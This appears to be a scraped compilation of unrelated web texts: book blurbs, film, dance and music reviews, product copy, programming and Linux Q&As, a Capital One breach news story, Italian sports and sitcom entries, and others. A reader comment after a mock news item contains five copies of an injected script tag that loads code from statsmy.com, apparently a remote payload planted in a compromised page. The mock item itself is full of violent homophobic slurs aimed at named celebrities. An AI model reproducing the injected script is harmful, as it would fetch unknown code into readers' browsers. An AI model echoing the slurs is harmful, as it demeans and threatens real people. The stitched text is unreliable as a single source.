Intimate Enemies
Shana Abé
List Price: 6.99*
Mass Market Paperback (7/28/2009)
From Shana Abé, author of The Truelove Bride and A Kiss at Midnight, comes this exquisitely emotional, beautifully written novel about two warring clans on a Scottish isle united by a fragile pact... and the hearts of two unforgettable lovers.
Lauren MacRae is only a woman. But her father's death has left her the leader of the Clan MacRae. Now it is up to her to defend her beloved Isle of Shot from the invading Northmen, even if it means going to her clan's sworn enemy, the powerful English overlord, Arion du Morgan, for help. But Arion's raven hair, green eyes, and smoldering sensuality soon make Lauren forget just why she turned to him—as he awakens within her a wayward desire....
Like Lauren, Arion risks the mutiny of his soldiers by forming this risky alliance. But he was brought up to believe that the Isle of Shot belongs not to the Clan MacRae, but to England—and he will defend it to his dying breath. Once, when they were children, Arion saved Lauren from a tortuous fate. Now, the copper-haired beauty has somehow found a way to banish the emptiness in his soul. And as they join forces to fight for the land they both love, he will risk everything—even his very life—to claim what is his.

The Whisky Lover's Aaron Sorkin Companion
September 21, 2021 –––––– Ted Simmons, , , ,
Watch a film that Aaron Sorkin wrote or directed and you're likely to catch some snappy dialogue: political figures intensely discussing their next move or power players orchestrating a way to get ahead. Oftentimes, these back-room deals and strategy sessions are accompanied by whisky. Sorkin uses the drink to signify an agreement reached or to illustrate the corruptible nature of political systems.
Whether it's lawyers drawing up a defense in "A Few Good Men," or a CIA operative courting a congressman in "Charlie Wilson's War," for Sorkin, whisky is an essential part of the process. It is a tool used to bond and broker, or one used to signify status and the ways in which a person can climb the social ladder. In "Molly's Game," Molly (Jessica Chastain) establishes herself in the world of illicit poker, assembling a top-shelf bar for her high-roller clientele that includes Macallan 18 year old. In "The Social Network," Eduardo (Andrew Garfield) hopes to gain entry into an exclusive collegiate club, drinking from a bottle of Shibblefield bourbon (a made-up brand though the script calls for Jack Daniel's) as part of his initiation. In these settings, the rich and powerful drink whisky and anyone hoping to impress them needs to as well.
In "Molly's Game," Molly Bloom (Jessica Chastain) runs exclusive high stakes poker games and uses expensive whisky to appeal to her clientele. It's one example of how Aaron Sorkin uses the drink to symbolize the yearn for upward mobility.
This can make Sorkin's personal views on whisky hard to decipher. Like many of his characters, the drink isn't portrayed as wholly good or evil. Eduardo's upward mobility in "The Social Network" is a positive for him, but perceived as a slight to his friend, Mark (Jesse Eisenberg). In "A Few Good Men," whisky represents a loss of innocence and resignation, but it also uncaps a sense of camaraderie and honesty. Sorkin's characters are complex, and so is his representation of whisky.
Turning to television briefly, a world where Sorkin has found great success, we find a specifically whisky-rich monologue. In "The West Wing," Chief of Staff Leo McGarry (John Spencer) describes his love of drinking, glamorizing the weight of a glass or the sound of ice splashing. He says, "Good scotch sits in a charcoal barrel for 12 years. Very good scotch gets smoked for 29 years. Johnnie Walker Blue is 60 year old scotch." Sorkin certainly has something to say about the intoxicating nature of political power, even if the specifics on Blue Label here are not entirely accurate.
Extending whisky as a metaphor for politics even further, Sorkin seems to favor single malts over blends. In "Malice", Ms. Kennsinger (Anne Bancroft) plays a shut-in who receives a bottle of Dalmore as a gift, "I drink crap," she says. "Blended whisky is crap. I don't care what color the label is." That scene was shot in 1993, and today is a far too sweeping generalization—but Sorkin is telling us, via a character who articulates the truth to the film's protagonist, that it is better to be or believe in one thing than to be a mixture of influences. His characters are often fighting for what they think to be true or right, taking on an establishment that frequently operates in morally grey areas. In Sorkin's world, purity and piety are celebrated, whereas compromise can be seen as contamination.
Some have likened whisky to a hug, but for Sorkin, it's more of a handshake. It's a peace offering or a sign of a successful negotiation. It's easy to think of Sorkin's films and the many politicians, military figures, and business types who think and talk fast, but as they do, it's often, and intentionally, with a whisky in hand.
When Andy (Bill Pullman) visits Ms. Kessinger (Anne Bancroft) in "Malice," he hopes to obtain information, so he brings a bottle of Dalmore with him. It is a Sorkin trademark that good whisky can open doors and seal deals.
Whisky in Aaron Sorkin Films
5. The American President (1995)
While President Andrew Shepard (Michael Douglas) is entertaining Sydney (Annette Benning) at the White House, his challenger Sen. Rumson (Richard Dreyfuss) is at a party, talking politics while smoking cigars and drinking whisky. They're discussing Shepard and the upcoming election, Rumson saying that they can run an attack campaign now that Shepard is dating again following his wife's passing.
We have two Sorkin whisky trademarks here. First, political figures strategizing over a whisky, and second, those plans being sinister in nature. In Sorkin's films, whisky can signal villainy, as is the case here, where Rumson uses Shepard's romantic vulnerability to gain political ground.
4. The Trial of the Chicago 7 (2020)
Early in the film, Attorney General Mitchell (John Doman) is talking to assistant federal prosecutor Richard Schultz (Joseph Gordon-Levitt) about the case and offers him some Johnnie Walker. Schultz declines, and the camera focuses on Mitchell's whisky-filled glass.
Later in the film, Schultz stands with the defendants he's meant to prosecute, doing what he feels is morally right. Looking back, the Johnnie Walker scene illustrates how Schultz isn't like Mitchell. They may be on the same side of the case but they are motivated differently, as Schultz later demonstrates. This is Sorkin once more making whisky a character in a scene, and the fact that he again includes Johnnie Walker can't possibly be a coincidence.
3. A Few Good Men (1992)
Feeling down about the case after learning of Markinson's (J.T. Walsh) death, Lt. Daniel Kaffee (Tom Cruise) comes in from the rain and pulls a bottle of Jack Daniel's from his coat. Lt. Cmdr. JoAnne Galloway (Demi Moore) asks if he's drunk "Yeah. Pretty much," he responds. Later in the scene, Kaffee offers Lt. Sam Weinberg (Kevin Pollak) a drink, and the two have a heartfelt conversation that restores Kaffee's faith in the case. In the next scene, Sam says, "Look at this, last night he was swimming in Jack Daniel's, and now he can leap tall buildings in a single bound."
Whisky plays two roles here. First, it demonstrates how the naïve Kaffee is feeling defeated by the corrupt institution he's attempting to take down. Up to this point in the film, he's mostly shown drinking YooHoo. The turn to Tennessee whiskey then coincides with the harsh reality that his good faith efforts aren't going to be enough to obtain justice for his clients. However, he and Sam bond over the bottle, and Kaffee has a breakthrough with the case. Whisky can signify a bout of darkness, but it's also a tool for collaboration, as Kaffee's morale and the case turn around after his rough night.
2. Malice (1993)
Cocky surgeon Jed (Alec Baldwin) says that he is "impervious to alcohol" and orders a round for two women who ask for bourbon. "Bourbon it is," he says. That scene comes into play later when Jed is called into surgery and makes a medical mistake. "Ask God how many shots of bourbon he had before he cut me open," Tracy (Nicole Kidman) says.
Andy (Bill Pullman), beginning to suspect he's being conned, goes to visit Tracy's mother. "Scotch," his lawyer says. "Bring her a bottle of scotch." He does, delivering a bottle of Dalmore which she greatly appreciates. "This is single malt scotch," she says. "That was so classy, mister. I haven't had single malt since '69." She tells Andy what he wants to know but says as he's leaving, "But do me a favor. Leave me the scotch." Toward the end of the film, Andy is talking with a cop who says he needs ice for his wounds. "Fine I'll have mine in a glass with some scotch," he says. "Single malt, nothing blended."
Andy and Ms. Kennsinger aren't politicians or lawyers, but they reach an agreement over whisky all the same. Without the bottle of Dalmore, it's unlikely that Andy breaks through to his reclusive mother-in-law, who gives him an education on both whisky and her daughter's true nature. Her disparaging remarks on blended whisky aside, it's a turning point in the film and a testament to the power of sharing a dram. There's plenty more drinking in this film, but no whisky scene is as potent or pivotal.
Whisky is shown throughout "Charlie Wilson's War," as the Texas representative's taste for it symbolizes his deal making and rebellious persona.
1. Charlie Wilson's War (2007)
Texas Representative Charlie Wilson (Tom Hanks) loves whisky and drinks it throughout the film including the very first scene where he pours an old drink into a new one. In D.C., he learns of a peculiar assignment. "Well if anyone asks what the hell I'm doing on the ethics committee we'll just tell them I like chasing women and drinking whisky and the Speaker felt we were underrepresented," he says. In his office, he sips scotch from a coffee mug. "I love Chivas," his secretary says while pouring.
When visiting Pakistan, he's asked if he'd like a drink. "I'd love a glass of ice and any kind of whisky. Rye. Canadian," he says. Everyone looks at him confused and he drinks a whisky on the flight home.
In D.C. once more, he's visited by CIA operative Gust Avrakotos (Philip Seymour Hoffman) who has a bottle of Talisker 12 year old with him. "We wanted to give you this 'cause we know you like single malt," he says, going on to quote the Robert Louis Stevenson poem "The Scotsman's Return From Abroad." "The King of drinks as I conceive it. Talisker, Islay, or Glenlivet." Gust later reveals the bottle of scotch is bugged. "Will you take the bug off my scotch bottle now?" Wilson says before the two open it and share a glass.
Like Andy in "Malice," Gust uses a bottle of single malt to gain entry and information. That he is deceptive about his intentions is consistent with Sorkin's portrayal of whisky and the people who drink it. After all, it is a crucial part of his scheme to get where and what he wants. Rep. Wilson meanwhile is not quite the villain some of Sorkin's other whisky drinkers are made out to be, but he is shown as amenable, open to influence and deal making. It is his personable nature and ability to bargain that ultimately saves the day and so as a Sorkin character, the whisky fits. He may gain more of a moral compass through the course of the film, but his love of whisky never waivers.

IMPRESSIONS: Keigwin + Company's "Places Please!" with Larry Keigwin and Nicole Wolcott as part of Dance Now at Joe's Pub
By Erin Bomboy
The Dance Enthusiast
When someone steps onstage, we, the audience, expect his or her best. But what's that person like before the curtain goes up?
Larry Keigwin and Nicole Wolcott take a sledgehammer to the real and symbolic structures of the stage in Places Please!, which premiered as part of Dance Now at Joe's Pub. Cycling through personal confessions, on-the-nose quips, and exuberant dancing, the two turn theatrical razzle dazzle inside out.
The show starts before the show should start. As people take their seats and sip cocktails, Keigwin and Wolcott mark through movement phrases, banter with show-goers, and chit chat with each other. Keigwin profanely checks the number of minutes until show time. Normally, these actions take place backstage where spectators remain oblivious to dancers' nerves and pre-performance rituals.
The two provide other glimpses of backstage. Keigwin and Wolcott invite audience members to clear the tiny wedge-shaped performing space of confetti, and they escort their helpers through the stage door as Wolcott relates a story about meeting Paul Newman. Former Alvin Ailey American Dance Theater executive director Sharon Gersten Luckman is pressed into doing the robot. Wolcott turns a dark corner of the house into a dressing room, swapping out wigs that range from a platinum blonde bob to a fluffy dark one.
In addition to bringing backstage to center stage, the two gleefully break the fourth wall. After changing costumes onstage, they chuck just-worn articles into the audience with Wolcott gifting someone with her flesh-colored bra. The applause bubbles over, and Keigwin admonishes us to "stop clapping." During a tricky gestural sequence, Wolcott curses after she flubs. At one point, Keigwin answers his phone, hoping for an update on his dog's hernia. He even leaves to "take a leak."
For all the chatter, the dancing hogs the spotlight. Keigwin and Wolcott boast well-maintained technique, which they flaunt in everything from Matrix-like posturing to what Keigwin refers to as the American folk dance — step-touch. An exquisite duet of weight sharing and bearing reveals the vulnerability beneath the big smiles and bigger attitudes.
While the hijinks are hilarious, pathos grounds Places Please!. Wolcott opines about the terror she feels as a dancer in her forties. "I love to dance," she says. But she wonders if and when she'll have to quit. Keigwin discusses his brief foray to Broadway where the tedium (performing eight shows a week in Dance of the Vampires) is only overshadowed by the heartbreak (not making the cut for his dream show, Cats).
Places Please! acts like a love letter to the stage. By basking in the artifice and then taking it to task, Keigwin and Wolcott highlight the absurdity and sublimity that put the show in show business.

Clay Aiken Tops List That Truly Straight Guys Would Like To Kick The Crap Out Of
by Mark on 6/13/2009 (23)
It's no more tolerance time!
(AP) For the third straight year, American Idol runner up Clay Aiken tops "America's list of prissy guys that straight men would like to kick the flying steaming craps out of", according to New York fire fighter Emmanuel "Manny" Salupo.
"I'd likes to corner that girly-fuck Clay 'My ass is Aiken' and tattoo his silly little cashew-lips with a roundhouse right and follow up with a lightning left cross. I'm so sick of this tolerance crap..." Belted Salupo between bellowing blasts of breath "...then I'd just stand over the fairy fuck and says to him how's it feels to be my PERSONAL American Idol bitch while he moaned and moaned and begged for Jesus and just laugh and laugh and laugh."
Other notables on Salupo's wish list include other American Idol contestants Adam Lambert and David Archuleta, all three Jonas Brothers, Sacha Baron Cohen, Mika, Wayne Brady, Spike Feresten, Brad Pitt, George Clooney, Josh Groban, Nigel Lythgoe, Hugh Laurie, Bobby Lee, Lance Bass, Neil Patrick Harris and Conan O'Brien.
"I'd love to slap some man-sense into that little dyke bag-of-dicks Lindsay Lohan, too, uh-huh, chick or not, I've had it with all these queasy freaks, and it's clobberin' time in da' Bronx, fellas, Yeeahh!"
None of Salupo's colleagues expect him to make good on his rants, but most sympathize, citing "sometimes it quacks like a duck and it's a duck, but other times it's just a really agitating noisy-ass goose that you just can't help but slapping the fucking corn out of its mouth, for real." tp

Hmmm. I think the reason people are up in arms about this story is there is no clarity as to what it's satirizing. Is it satirizing gay bashers? Or gay people?
When you introduce us to such an opinionated, loud character, usually there is a means to an end. This character seems a little too unbelievable to the trained eye to be a real advocate; but, by the same token, there is no counterpoint to his argument, nor is there any disdain shown from the writer's point of view. Obviously, in real news, the writer should not feel bias either way.
However, in satire, you can make it clear which side you're batting for through action in prose or sublety and it will still look like a news story.
Just some constructive criticism to think about. :)"0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

Gym and treadmill mats are an essential part of your at-home gym. Shop interlocking foam mats from trusted fitness brands to help protect your equipment, fixtures and flooring while you get your daily workout.
Safeguard against scuffed and scratched surfaces with high-quality rubber mats. Rubber, vinyl and PVC are all popular for commercial and personal gyms. You can select from interlocking gym puzzle mat options, multi-purpose exercise mats, rubber mats and equipment mats that fit perfectly under your treadmill or elliptical.
Whether you're looking for padding around equipment, a place to lift weights or an area to perform floor exercises, gym mats are a great solution. It's always best to give yourself a slightly bigger padded area than you think you need. Plan ahead for the worst spills, the possibility of working out with a buddy or other situations in which you might wish you had more padding. If you're unsure as to how much coverage you'll need, choose interlocking puzzle mats for a gym surface that can easily be expanded.
Enhance your home gym with equipment and exercise mats. From stretches to crunches, you can work out comfortably on the floor with a rubber mat or foam floor tiles.
Exercise mats are great for creating an at-home yoga studio, or simply giving you a comfortable spot to train in your home. From stretches to crunches, you can rack up reps on the floor with a rubber or foam interlocking mat.
Equipment mats help protect the integrity of your home gym equipment by preventing the build-up of floor and carpet dust. Rubber mats, vinyl mats and PVC mats are easy to clean and resistant to odors.
You can select gym mats and equipment mats in a variety of colors, textures and sizes. And your mat can do more than protect floors — many gym mats can absorb vibrations and muffle noises, so your workouts don't disturb neighbors.
Protect your home while you push the pace. Full-size equipment mats are large enough to fit an entire piece of cardio equipment, like a treadmill. Interlocking square foam mats can be customized for any room or exercise equipment.

Q: Converting a patch image I have a code which finds the single patch from the given center coordinate of the image. I want to convert it, so with that it shall find the multiple patches of size 32X32 and stride of 16. The patches should be from the image, neither from border or from the background of it.
centerCoord = [70,125];
patchSize = 32;
patchSourceImage = im(centerCoord(1)-ceil(patchSize/2):centerCoord(1)+ceil(patchSize/2)-1,centerCoord(2)-ceil(patchSize/2):centerCoord(2)+ceil(patchSize/2)-1);

A: Your line of code is large and even if it works I'd recommend make the code easier, so you will be able to check if some regions of the patch (let's call it Regio Of Interest ROI) falls outside the image
Example:
im = rand(150, 150);    % 150x150 random "image"
[nrows, ncols] = size(im);

% center coordinates of 4 Patches
centerCoord = [50,50; 100,50; 50,100; 100,100];
patchSize = 32;

% results will be stored in matrix Patches
Patches = zeros(patchSize, patchSize, size(centerCoord,1));

for i=1:size(centerCoord,1)
    top_left = ceil(centerCoord(i,:) - [patchSize/2, patchSize/2]);
    bottom_right = top_left + [patchSize-1, patchSize-1];

    if any(top_left <= 0) || any((bottom_right - [nrows, ncols]) > 0)
        %some regions of the patch fall outside the image. Handle this case here.
    else
        Patches(:,:,i) = im(top_left(1):bottom_right(1), top_left(2):bottom_right(2));
    end
end

Here Patches is a 32x32x4 matrix containing your 4 patches.

A: im = imread('image98.jpeg');
 % 150x150 random "image"
 [nrows, ncols] = size(im);

 % center coordinates of 4 Patches
 centerCoord = [75 125];
 patchSize = 32;

 % results will be stored in matrix Patches

 for r=1:16:nrows
     for c =1:16:ncols
     top_left = ceil(centerCoord(1) - [patchSize/2, patchSize/2]);
     bottom_right = top_left + [patchSize-1, patchSize-1];

     if any(top_left <= 0) || any((bottom_right - [nrows, ncols]) > 0)
         fprint('Outside');
     else
        patch = im(centerCoord(1)-ceil(patchSize/2):centerCoord(1)+ceil(patchSize/2)-1,centerCoord(2)- ceil(patchSize/2):centerCoord(2)+ceil(patchSize/2)-1);
         imshow(patch)
         centerCoord(2) =centerCoord(2)+16;
     end
      centerCoord(1) =centerCoord(1)+16
     end
 end

1950 was an important year for Canon. As they continued to make the Model IIB, incorporating some changes that resulted in an improved camera, they also produced several trial versions, between serial 50000 and serial 50200, of the models that later became the Canon IV and Canon III.
There's an old saying: If something appears to be too good to be true, it probably is. But sometimes you get lucky.
The Baldessa 1 from Balda in the Schwarzwald is one of those cameras that quickens the heart of a collector simply by its looks: beautiful styling and a superb late-1950s West German finish. Unfortunately upon closer examination it turns out to be a bit of a bimbo (for the ladies, think of it as a himbo or dumb hunk--I don't want to be unduly sexist).
Is The New Zeiss Ikon Just Another Bessa Under A Different Brand Name?
The question posed above was the first reaction to the news about the new Zeiss Ikon rangefinder 35mm in Japan, and perhaps in the US and the rest of the world, when the new camera was unveiled at photokina 2004. But this was wrong, because it was a completely new camera proposed by Carl Zeiss AG.


This is frequently associated with urticaria. The swelling can be caused by many factors including Allergic reactions from foods or medications. The swelling can be life threatening. Finding a cause can be challenging. Angioedema can also be inherited or acquired, as in inherited C-1 esterase deficiency or acquired C-1 esterase deficiency. Through laboratory tests and allergy testing a cause may be found. Treatment of this condition will depend on the cause. Special medications are sometimes needed.

7. Promotion of CSR-conscious procurement
We promote our procurement activities through seriously considering the concept of CSR.
Supplier Conference in Japan
The Best Supplier Award was given to GLORY (PHILIPPINES), INC.
Business partners are important partners that enable Glory to manufacture high-quality products consistently, while having a cooperative system in place is vital.
Glory therefore holds its annual Supplier Conference in Japan, during which it explains the company's current situation, strategies, and purchasing policy. In fiscal year 2018, Glory held the conference in May, with 170 business partners in attendance. Conferences are also held at GLORY Products Ltd., GLORY Denshi Kogyo (Suzhou) Ltd., and GLORY (PHILIPPINES), INC. as part of an effort to build trusting relationships that allow Glory and its business partners to share the common goal of achieving a sustainable society.
We also regularly hold our Quality Conferences, for sharing information on quality and manufacturing processes and examining related issues, and Quality Improvement Activity Workshops or Substrate Quality Policy Briefing, during which business partners present their quality improvement initiatives. These provide opportunities for business partners to share best practices as well.
Our parts acceptance unit also conducts periodic inspection visits to our business partners for onsite reviews of manufacturing processes and to offer advice for improvements.
The Glory Group focusses on employee education to promote CSR across its supply chain and ensure fair and open trading. The Group trains domestic and overseas procurement staff through an e-learning program, available in three languages. The program consists of curriculum modules such as the Japanese Subcontract Act and CSR procurement, helping staff improve their skills and acquire the knowledge they need.
A total of 154 employees participated in the training sessions in fiscal year 2018.
Promotion of CSR Procurement
Glory issued the Glory CSR Procurement Guidebook for suppliers in Japan and Glory Supplier Code of Conduct for overseas suppliers to further promote CSR procurement in March 2014. The guidebook stipulates the Group's basic stance on CSR as well as Glory's requests to business partners such as respect for human rights and occupational health and safety as well as environmental protection. Glory uses the guidebook to encourage cooperation with business partners in promoting CSR initiatives throughout its supply chain.
The Glory Group is taking steps to conform with the Code of Conduct established by the RBA (Responsible Business Alliance, formerly EICC), a CSR promotion organization for supply chains mainly in the electronic device industry, and the conflict mineral survey.

/dev/sda9  1920043008 1953523711  33480704    16G Linux swap

and it shows me this list. Can you please list the commands to input now to unmount the partition that is damaged and use fsck command on that? I am unable to unmount the sda8 because it's in use as I am using the command window in this only.  How do I perform the further steps?

A: Without seeing the output of df -h or mount, I don't know for sure where your /dev/sda8 is mounted. However, because it appears to be your only Linux filesystem, I guess it is the root filesystem of your Linux installation.
Checking the root filesystem requires special steps, because you cannot just unmount your root filesystem: you would then have no filesystem available where to load the fsck tool from!
However, you might be able to remount it read-only, with mount -o remount,ro /. Then you could run fsck.ext4 -C0 -f /dev/sda8. But switching the root filesystem into read-only mode when the complete operating system is up and running would generate a lot of errors, and if the fsck command made any changes to the disk contents, you would have to intentionally crash the system and reboot after the fsck was complete, as the data in operating system's buffers would now be out of sync with the true state of the disk. So this procedure is not recommended.
The right way to run a fsck on the root filesystem is to boot the system into single-user mode. One way to do this is to add boot options like init=/bin/bash while in the GRUB bootloader. This should put your system into a state where the root filesystem is in read-only mode and no background daemons are started, and you could probably just run fsck -C0 -f /dev/sda8 and when it has completed, run reboot to restart the system in normal mode.
("Should" and "probably" are there because I don't know the details of Kali's single user mode. There might be some extra steps required.)

A Hacker Stole Capital One Data On 106 Million Customers, And The FBI Says She Tweeted About It
Alyse Stanley
Published 1 year ago: July 31, 2019 at 6:00 pm -
Filed to:capital one
data breachhackingtwitter
A hacker swiped credit card applications, Social Security numbers and bank account information affecting more than 100 million people in the U.S. and Canada from Capital One's server, the bank announced Monday. Authorities say they arrested a suspect, Seattle software engineer Paige Thompson, after she posted about the incident on social media, the New York Times reports.
"I've basically strapped myself with a bomb vest, dropping capital ones dox and admitting it," Thompson purportedly posted on Slack, prosecutors say.
Her posts on the social network Meetup initially alerted the FBI after the breach on July 20, according to the New York Times. There, Thompson ran a group called Seattle Warez Kiddies for "anybody with an appreciation for distributed systems, programming, hacking, cracking." From that point, they traced her online activity to other accounts on Twitter and Slack where she allegedly bragged about the hack.
Thompson has been charged with computer fraud and abuse, and faces a maximum sentence of a $US250,000 ($363,638) fine and up to five years in prison, the BBC reported.
According to court documents, the FBI says the hacker took advantage of a "firewall misconfiguration" to breach the bank's server. Capital One attributed the incident to an exploited "configuration vulnerability," and said the hacker made off with 140,000 Social Security numbers and 80,000 bank account numbers.
In total, the heist compromised information affecting roughly 100 million people in the United States and another 6 million in Canada.
The bank's chief executive, Richard D. Fairbank, apologised for the incident in a statement Monday.
"I am deeply sorry for what has happened," Fairbank wrote. "I sincerely apologise for the understandable worry this incident must be causing those affected, and I am committed to making it right."
In the wake of the data breach, Capital One is offering free credit monitoring and identity protection to anyone affected.

Carriera

Calciatore
Formatosi nel Viareggio, esordì nella Prima Divisione 1933-1934 nell'allora Angelo Belloni di Massa (che retrocedette al termine della stagione) facendo segnare tre presenze. L'anno seguente tornò al suo club di formazione, per poi lasciarlo la stagione seguente a favore dell'Anconitana: nel 1936-1937 militò invece nello Spezia, al tempo in Serie B, dove giocò 16 partite e contribuì al quarto posto finale della squadra ligure. Il passaggio allo Spezia fu orchestrato dal Genova 1893, in modo da poter successivamente prelevare il giocatore con un minore esborso di denaro.

Venne quindi ceduto al neopromosso , squadra con la quale esordì in Serie A il 26 settembre 1937, nella sconfitta casalinga contro il Liguria per 2 a 3. La squadra raggiunse a fine campionato l'undicesima posizione, con Agostini che marcò 14 presenze nella massima serie. Nel 1938-1939 passò al Genova 1893, ed esordì in campionato nella prima giornata, nella sconfitta casalinga per 2 a 3 contro il Bologna il 18 settembre 1938. Giocò però solo le prime quattro gare, prima di essere sostituito da Lino Fregosi che mantenne il posto da titolare in campionato fino al termine della stagione.

Con i Grifoni disputò anche la Coppa dell'Europa Centrale 1938, scendendo in campo in tutte e sei gli incontri disputati dai rossoblu e raggiungendo le semifinali della competizione, dove Agostini ed i suoi furono eliminati dallo Slavia Praga: fondamentale fu la sconfitta per 0-4 nella gara di ritorno, giocata nella capitale cecoslovacca, il 1º agosto 1938, nella quale il portiere viareggino si rese protagonista di una prestazione non esaltante.
Nel 1939-1940 tornò al Livorno, nel quale fece registrare 24 presenze contribuendo alla promozione degli amaranto in Serie A: nella stagione successiva marcò 9 ulteriori presenze nella massima serie con i toscani che terminarono poco sopra la zona retrocessione.

Terminata l'esperienza con i labronici, tornò in Liguria giocando una stagione con il  in Serie B (18 presenze), mentre nel 1942-1943 militò in Serie A nel Liguria (9 gare disputate), retrocessa a fine campionato.

Al termine della Seconda guerra mondiale, giocò un'ulteriore stagione nel 1948 in Serie C nella Monsummanese (che al termine dell'anno retrocedette) prima di ritirarsi dal calcio giocato.

Allenatore
Allenò il Teramo in due periodi distinti: dal 1951 al 1954 (in Prima Divisione e in Promozione) e dal 1963 al 1965 (in Prima Categoria nella prima stagione e in Serie D l'anno successivo). Nel campionato di Serie D 1961-1962 subentra a Giuliano Grandi sulla panchina del .

REVIEW: Maroon 5's Super Bowl halftime performance: It won't be loved
By John J. Moser

Of course the goal of a Super Bowl halftime show is to be great.
If it's not, at least it might have some interesting, or even controversial, element to keep people talking.
The biggest fear is that, the next day, people aren't talking about it.
That may be the case with Maroon 5's halftime performance Sunday during Super Bowl 53.
It was bound to go that way. Maroon 5 is the sort of vanilla performer that nobody really hates enough to be against it, but also doesn't have the type of fans who are all-consumed.
[More Entertainment] Live concerts come back: ArtsQuest hosting shows featuring music of Tom Petty, Talking Heads and Janes Addiction »
And because of that, the performance was the least memorable in many years.
The 13-minute halftime opened the show with fireworks, as if to alert you that this was important. But the opening song "Harder to Breathe," the group's first big hit from 2002, showed that this was a performance that was going to be harder to care about.
Even the double-platinum "This Love," the group's second big hit from 2004, wasn't a show stopper.
The addition of rapper Travis Scott (after a Sponge Bob Square Pants cartoon segment) performing his hit "Sicko Mode" – while dancing amid the fire -- didn't elevate the performance, though he was at least energetic – and even finished by falling backward into the audience.
[More Entertainment] ArtsQuest plans to focus on outdoor events for now. What does this mean for Musikfest 2021? »
Maroon 5 continued with "Girls Like You," its hit with Cardi B – who unfortunately reportedly declined to perform, and moved into Maroon 5 singer Adam Levine solo on a runway with a choir behind him.
The best part of the show was when Levine sang "She Will Be Loved," its biggest early hit, walking through the audience in a darkened stadium. It actually had emotion, and impact, as paper lanterns were released to the sky to spell "ONE LOVE"
It also was followed by a good segment with the arrival of Big Boi from Outkast in a Cadillac convertible, wearing a fur coat, to perform a fast-rapped short segment of its hit "The Way You Move."
Its recent platinum hit "Wait" was similarly forgettable before it closed with its biggest hit, the nine-times-platinum 2011 hit "Moves Like Jagger." Even that song didn't cause any excitement, nor the fact that Levine shed his shirt to sing it, or the huge fireworks and flames that followed.
[More Entertainment] Best new music picks this week include The Wytches, The Moons and Brit Taylor »
There were no surprises during the entire performance. Nothing to remember.
So no one will be talking about it tomorrow, and it will be quickly forgotten.
The Super Bowl started with a similarly forgettable National Anthem by Gladys Knight.
The performance by Knight, 74, was respectful but underwhelming – a bit weak at the start and certainly not the Gladys Knight of old, but also one who didn't make any huge gaffe. She kept within her range – she didn't even reach for the high note at the end of the song, but was stronger on the notes she did sing.

The performance of "America the Beautiful" by R&B singers Chloe X Halle was weak an occasionally off-key. They were better at the end when they sang in harmony, but overall it, too, was nothing to remember.

Sikka Art Fair 2018: An exhibition of Saudi art and culture
"Why" featuring embroidery on fabric by Mashail Faqeeh.
Tamashee stairs featuring Al Qatt art native to Asir region.
Rawan Abudawood
Saudi Gazette
DUBAI - "Saudi House" by the culture-focused initiative Tamashee hosted a variety of exhibitions and activities at Sikka Art Fair 2018 under one roof, including Tamashee, a collaborative initiative for emerging artists in the fields of calligraphy, pottery, Islamic art and photography, and an exhibition of works produced by Saudi artists.
"This is the first time at Sikka Art Fair wherein we had a full house dedicated only to Saudi artists. Saudi female artists played a huge part in creating this exhibition. Almost 70 percent of the artists were actually women," said Mohammed Kazim the co-founder of Tamashee.
The works of art that were showcased in the "Saudi House" explored Saudi culture and even society. One of the art pieces called "Why?" by Mashail Faqeeh highlighted the questionable objections to the appearance of women in public. Embroidered on fabric, the piece shows how Saudi women are sometimes judged based on their appearance.
Another eye-catching section was Tamashee's stairs. Featuring a contemporary application of Al Qatt art based on one of Tamashee's upcoming collections, the stairs represent a journey and elevation of design and taste. Al Qatt art is exhibited in many sections of "Saudi House" and it an old art form native to the Asir region, in the Kingdom's Southwest. It is traditionally carried out by women and is found on the interior walls of homes.
Speaking to Saudi Gazette, Kazim spoke about his journey discovering Saudi culture.
"Our footwear brand Tamashee focuses on culture and researching culture in the Arabian Gulf. So, the largest country in the Arabian Gulf is, in fact, Saudi Arabia. We started off with one project wherein we wanted to learn more about the leather tanning that happened in the Kingdom. Then, that opened up more opportunities for me in which I managed to go to Taif, Asir, Ha'il, AlJawf and other Saudi cities. I ended up falling in love with Saudi culture because there is so much about Saudi Arabia that the people do not see or hear about. I think this is what made me feel like I have an obligation or a duty to show to the world that there is so much color in this region."
Sikka Art Fair is an initiative developed by Dubai Culture & Arts Authority and is considered to be one of the key highlights of Dubai Art Season. They marked their 8th edition this year and it was held under the patronage of Sheikha Latifa bint Mohammed bin Rashid Al Maktoum, Vice Chairman of the Dubai Culture & Arts Authority.

L'amico immaginario
Titolo originale: Imaginary Friend
Diretto da: Philip Charles MacKenzie
Scritto da: David Feeney

Trama
Dopo un inutile tentativo di Jim di convincere Cheryl a fare del sesso pomeridiano, lei gli ricorda che quella sera sarebbero dovuti andare al battesimo della figlia di una sua amica. Jim però rifiuta di andarci dicendo che un suo amico d'infanzia, Gas Dimas, torna in città proprio quella sera e lui deve andarlo a prendere all'aeroporto. Non è la prima volta che si sente parlare di questo amico di Jim, ma nessuno tranne lui lo ha mai visto, sebbene questi affermi che Gas era presente al loro matrimonio. Dana e Cheryl rovistano tra le foto del matrimonio, ma lui non si vede al che Jim indica una foto dove però si vede solo la nuca.

Dopo aver parzialmente convinto le due sorelle, Jim rivela tuttavia al fido amico Andy che Gas non esiste, lo ha inventato solo per avere una scusa per evitare di partecipare a feste e ricevimenti che la moglie gli propone quotidianamente e che lui detesta. Cheryl, sospettando un inganno del marito, indaga e scopre che Gas non c'era sulla lista degli invitati al matrimonio e capisce quindi che Jim se l'è inventato (e intuisce anche il movente) ma non ha prove sufficienti a incastrare Jim ed escogita così un abile stratagemma: facendosi chiamare da Dana, finge che il battesimo sia saltato così da venire all'aeroporto con Jim e vedere di persona (o meglio non vedere) Gas. Preso alla sprovvista, Jim non molla e recita la sua parte fino all'aeroporto dove però non sembra avere scampo.

A salvarlo, interviene però il fidato Andy il quale, scoperto che Cheryl sa tutto, chiama Jim per avvisarlo e il commediante ne approfitta fingendo di parlare con Gas, il quale gli avrebbe comunicato di aver perso l'aereo e di raggiungerli il giorno dopo. Per il momento si è salvato, ma Cheryl non vuole mollare: non è più una questione di partecipare al party, la faccenda è diventata l'ennesima gara a chi ha ragione tra i due coniugi e lei vuole vincere assolutamente.

